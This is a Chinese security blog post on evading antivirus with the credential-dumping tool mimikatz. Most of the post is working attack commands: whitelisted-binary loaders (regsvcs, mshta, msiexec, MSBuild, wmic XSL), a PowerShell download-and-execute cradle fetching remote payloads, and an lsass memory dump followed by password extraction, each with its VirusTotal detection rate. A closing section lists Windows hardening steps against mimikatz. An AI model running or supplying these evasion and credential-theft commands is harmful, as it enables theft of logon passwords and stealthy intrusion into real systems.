郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
参考https://www.jianshu.com/p/12242d82b2df
参考`远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70):https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs
将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727
先powoershell执行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
再cmd执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
运行时需要管理员权限,而且360会拦截
放行后可正常执行
virustotal.com
上katz.exe
查杀率为35/73,略惨。
参考`远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58):https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA
这个是大佬已经做好的payload,可以直接进行使用。
用DotNetToJScript实现
https://github.com/tyranid/DotNetToJScript
mimikatz
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js
执行cscript mimikatz.js
,360会拦截。
放行后可正常执行
virustotal.com
上mimikatz.js
查杀率为22/59。
参考`远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60):https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg
使用Advanced Installer
生成msi文件。
远程执行
msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart
本地执行
msiexec /passive /i Mimikatz.msi
virustotal.com
上mimikatz.msi
查杀率为25/60。
可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57):https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA
下载mimikatz.xml
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml
执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml
火绒会预警,360不会
virustotal.com
上executes-mimikatz.xml
查杀率为4/59。
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl
本地加载
wmic os get /format:"mimikatz.xsl"
远程加载
wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"
放行后
virustotal.com
上mimikatz.xsl
查杀率为7/60。
参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58):https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct
执行
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct").Exec(); log coffee exit
360拦截依旧
virustotal.com
上mimikatz.sct
查杀率为23/59。
ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1
执行
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR
这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1
吧。在virustotal.com
上Invoke-ReflectivePEInjection.ps1
查杀率为32/57。
windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exe
、SqlDumper.exe
、Out-Minidump.ps1
等,我这里以procdump.exe
为例进行演示。
procdump.exe
工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
procdump.exe
下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe
在目标机器执行下面命令,导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。
在virustotal.com
上procdump.exe
查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。
我们团队的诺言
大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg。
由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。
WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。
默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。
KB2871997补丁下载地址:
Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu
Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu
Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu
启用或者禁用WDigest修改注册表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential
值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential
值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。
在注册表中将UseLogonCredential
值设置为 0,或者使用命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
我们可以通过如下命令来测试修改是否生效:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
如果成功,系统应该会返回如下内容:
注销后重新登录,发现mimikatz已经无法获取明文密码。
Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。
删除上图的administrators组,这样管理员也没了debug权限。
注销后再执行mimiktaz,获取debug权限时发现报错。
自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。
可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD(32)值,名称为 RunAsPPL
,数值为 00000001,然后重启系统生效。
或者使用命令来完成
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
重启后再执行mimikatz.exe,发现已经无法获取密码。
此时其实可以从磁盘上的SAM读取凭据,执行
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。
先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
设置 DisableRestrictedAdmin
为0 , DisableRestrictedAdminOutboundCreds
为1。
然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。
具体位置是组策略:计算机配置--管理模板--系统--凭据分配--限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin
。
在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0x00000005该错误,是注册表增加了LSA保护所起到的。
Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:
HKEY_LOCAL_MACHINE\SECURITY\Cache
在组策略中设置禁用缓存
计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0
注销后再次执行mimikatz,没有读取到任何用户数据。
WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。
此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。
这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。
可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。
在配置之前,使用mimikatz可读取明文密码。
可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:
Add-ADGroupMember –Identity 'Protected Users' –Members administrator
注销后再次执行mimikatz,已经看不到administrator用户的密码了。
通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。
1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。
2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。
3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。
4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。
5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。
防御mimikatz抓取密码的方法:https://zhuanlan.zhihu.com/p/59337564
Bypass LSA Protection:https://xz.aliyun.com/t/6943
防御Mimikatz攻击的方法介:https://www.freebuf.com/articles/network/180869.html
九种姿势运行Mimikatz:https://cloud.tencent.com/developer/article/1171183
Mimikatz的多种攻击方式以及防御方式:http://blog.itpub.net/69946337/viewspace-2658825/
简单几步搞定Mimikatz无文件+免杀:https://www.jianshu.com/p/ed5074f8584b